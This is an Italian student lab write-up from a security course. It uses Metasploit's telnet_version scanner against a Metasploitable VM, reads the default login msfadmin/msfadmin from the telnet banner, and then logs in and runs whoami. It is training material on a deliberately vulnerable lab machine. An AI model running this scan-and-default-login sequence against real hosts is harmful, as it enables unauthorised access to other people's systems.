ESERCIZIO S7 L2

EPICODE

Pratica S7/L2 PDF

Esercizio
Traccia

Traccia:

Sulla base dell'esercizio visto in lezione teorica, utilizzare Metasploit per sfruttare la vulnerabilità relativa a Telnet con il modulo auxiliary telnet_version sulla macchina Metasploitable.

Requisito: Seguire gli step visti in lezione teorica. Prima, configurate l'ip della vostra Kali con 192.168.1.25 e l'ip della vostra Metasploitable con 192.168.1.40

SVOLGIMENTO

Come primo passo inizio con la configurazione delle MV come richiesto dalla traccia :

Kali Linux >>> sudo ip addr add 192.168.1.25/24 dev eth0

```
┌──(kali㉿kali)-[~]
└─$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:d1:f8:5d brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.25/24 brd 192.168.1.255 scope global noprefixroute eth0
       valid_lft forever preferred_lft forever
```

Metasploitable >>> sudo nano /etc/network/interfaces

```
inet 192.168.1.40/24 brd 192.168.1.255 scope global eth0
```

Successivamente testo la comunicazione tra le macchine tramite il comando **ping**:

```
PING 192.168.1.25 (192.168.1.25) 56(84) bytes of data.
64 bytes from 192.168.1.25: icmp_seq=1 ttl=64 time=6.23 ms
64 bytes from 192.168.1.25: icmp_seq=2 ttl=64 time=0.516 ms
64 bytes from 192.168.1.25: icmp_seq=3 ttl=64 time=0.626 ms
64 bytes from 192.168.1.25: icmp_seq=4 ttl=64 time=1.60 ms
```

```
┌──(kali㉿kali)-[~]
└─$ ping 192.168.1.40
PING 192.168.1.40 (192.168.1.40) 56(84) bytes of data.
64 bytes from 192.168.1.40: icmp_seq=1 ttl=64 time=3.94 ms
64 bytes from 192.168.1.40: icmp_seq=2 ttl=64 time=0.764 ms
64 bytes from 192.168.1.40: icmp_seq=3 ttl=64 time=7.83 ms
64 bytes from 192.168.1.40: icmp_seq=4 ttl=64 time=3.80 ms
```

La comunicazione avviene correttamente.

Una volta che mi sono accertato che il servizio fosse in esecuzione utilizzando :
nmap -T5 -sV -p 23 192.168.1.40

Posso avviare la console Metasploit Framework con **msfconsole.**

```
└─$ msfconsole
Metasploit tip: Open an interactive Ruby terminal with irb

 ____________________________________
/ it looks like you're trying to run a \
\ module                               /
 ------------------------------------
 \
  \
     __
    /  \
    |  |
    @  @
    |  |
    || |/
    || ||
    |\_/|
    \___/

       =[ metasploit v6.4.64-dev                          ]
+ -- --=[ 2519 exploits - 1296 auxiliary - 431 post       ]
+ -- --=[ 1610 payloads - 49 encoders - 13 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/
```

Ora posso cercare l’exploit indicato dalla traccia digitando sulla console:
search auxiliary telnet_version

```
msf6 > search auxiliary telnet_version

Matching Modules
================

   #  Name                                                  Disclosure Date  Rank    Check  Description
   -  ----                                                  ---------------  ----    -----  -----------
   0  auxiliary/scanner/telnet/lantronix_telnet_version  .                normal  No     Lantronix Telnet Servi
   1  auxiliary/scanner/telnet/telnet_version            .                normal  No     Telnet Service Banner

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/telnet/telnet_versi
```

Come visibile da screenshot ho ottenuto due moduli. Vado a selezionare il secondo modulo utilizzando **use 1** e verifico le opzioni con **show options**.

```
msf6 > use 1
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   PASSWORD                  no        The password for the specified username
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    23               yes       The target port (TCP)
   THREADS  1                yes       The number of concurrent threads (max one per host)
   TIMEOUT  30               yes       Timeout for the Telnet probe
   USERNAME                  no        The username to authenticate as

View the full module info with the info, or info -d command.
```

A questo punto posso selezionare l'IP target con **set RHOSTS 192.168.1.40** per poi verificare le opzioni con **show options**.

```
msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   PASSWORD                  no        The password for the specified username
   RHOSTS   192.168.1.40     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    23               yes       The target port (TCP)
   THREADS  1                yes       The number of concurrent threads (max one per host)
   TIMEOUT  30               yes       Timeout for the Telnet probe
   USERNAME                  no        The username to authenticate as

View the full module info with the info, or info -d command.
```

In questo caso, dato che sto utilizzando un **modulo auxiliary** non è necessario selezionare un payload e posso perciò lanciare l'exploit con il comando **exploit.**

```
msf6 auxiliary(scanner/telnet/telnet_version) > exploit

[+] 192.168.1.40:23       - 192.168.1.40:23 TELNET _                    _       _ _       _     _      ___  \x0a _ __ __   __| |_ __ _ __ _ _ | | __ (_) |_ _ _| |_ | | __|___ \ \
_/ _` | '_ \| |/ _ \ __) |\x0a| | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | | |_) | |  __// __/ \x0a|_| |_| |_|\__|\__\__,_|___/ .__/|_|\__/|_|\__\__,_|_.__/|_|\__|____|\x0a
                  \x0a\x0a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0
[*] 192.168.1.40:23       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) >
```

Ora ho le informazioni necessarie ossia le credenziali di accesso (**login with msfadmin/msfadmin to get started**).

Verifico in conclusione la riuscita dell'attacco tentando una connessione Telnet dalla macchina kali alla macchina tartget : **telnet 192.168.1.40**

```
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.1.40
[*] exec: telnet 192.168.1.40

Trying 192.168.1.40 ...
Connected to 192.168.1.40.
Escape character is '^]'.
 _                                          _          _   _                 _          _     _       ___
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|
                            |_|


Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started
```

Inserisco le credenziali ottenute:

```
metasploitable login: msfadmin
Password:
Last login: Tue Aug 26 07:30:35 EDT 2025 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
```

Ho ottenuto infatti l'accesso a Metasploitable e come ultimo step verifico definitivamente quale utente stiamo usando con **whoami**

```
msfadmin@metasploitable:~$ whoami
msfadmin
msfadmin@metasploitable:~$
```